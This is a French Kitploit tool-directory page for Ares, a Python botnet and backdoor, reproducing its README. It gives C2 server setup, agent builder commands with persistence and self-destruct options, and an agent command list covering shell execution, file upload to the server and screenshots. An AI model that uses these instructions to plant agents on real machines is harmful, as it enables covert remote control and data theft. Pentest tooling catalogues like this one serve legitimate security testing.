Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Ares — Botnet et backdoor Python | Kitploit
Outils/GitHubGitHub/sweetsoftware/ares
Génération de PayloadsMécanismes de PersistancePost-ExploitationCommandement et ContrôleOutil d'Accès à Distance
GitHubsweetsoftware/ares

Ares

Botnet et backdoor Python

Voir le dépôt
1.6k473il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Ares

Ares est un outil d'accès à distance en Python.

Avertissement : Utilisez ce logiciel uniquement conformément à votre législation en vigueur. Une mauvaise utilisation de ce logiciel peut soulever des problèmes juridiques et éthiques que je ne soutiens pas et dont je ne peux être tenu responsable.

Ares est composé de deux programmes principaux :

  • Un serveur de commande et de contrôle (C2), qui est une interface Web pour administrer les agents
  • Un programme agent, qui s'exécute sur l'hôte compromis et assure la communication avec le C2

L'interface Web peut être exécutée sur n'importe quel serveur utilisant Python. L'agent peut être compilé en exécutables natifs en utilisant pyinstaller.

Installation

Installez les dépendances Python :

root@kitploit:~
pip install -r requirements.txt

Initialisez la base de données :

root@kitploit:~
cd server
./ares.py initdb

Pour compiler des agents Windows sous Linux, configurez wine (optionnel) :

root@kitploit:~
./wine_setup.sh

Serveur

Exécutez avec le serveur intégré (debug) :

root@kitploit:~
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded

Ou exécutez avec gunicorn :

root@kitploit:~
gunicorn ares:app -b 0.0.0.0:8080 --threads 20

Le serveur devrait maintenant être accessible sur http://localhost:8080

Agent

Exécutez l'agent Python (mettez à jour config.py selon vos besoins) :

root@kitploit:~
cd agent
./agent.py

Construisez un nouvel agent en un binaire autonome :

root@kitploit:~
./builder.py -p Linux --server http://localhost:8080 -o agent
./agent

Pour voir la liste des options supportées, exécutez ./builder.py -h

root@kitploit:~
./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
                  [--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
                  [--max_failed_connections MAX_FAILED_CONNECTIONS]
                  [--persistent]

Builds an Ares agent.

optional arguments:
  -h, --help            show this help message and exit
  -p PLATFORM, --platform PLATFORM
                        Target platform (Windows, Linux).
  --server SERVER       Address of the CnC server (e.g http://localhost:8080).
  -o OUTPUT, --output OUTPUT
                        Output file name.
  --hello-interval HELLO_INTERVAL
                        Delay (in seconds) between each request to the CnC.
  --idle_time IDLE_TIME
                        Inactivity time (in seconds) after which to go idle.
                        In idle mode, the agent pulls commands less often
                        (every <hello_interval> seconds).
  --max_failed_connections MAX_FAILED_CONNECTIONS
                        The agent will self destruct if no contact with the
                        CnC can be made <max_failed_connections> times in a
                        row.
  --persistent          Automatically install the agent on first run.

Commandes agent supportées

root@kitploit:~
<any shell command>
Executes the command in a shell and return its output.

upload <local_file>
Uploads <local_file> to server.

download <url> <destination>
Downloads a file through HTTP(S).

zip <archive_name> <folder>
Creates a zip archive of the folder.

screenshot
Takes a screenshot.

python <command|file>
Runs a Python command or local file.

persist
Installs the agent.

clean
Uninstalls the agent.

exit
Kills the agent.

help
This help.
Télécharger l’outil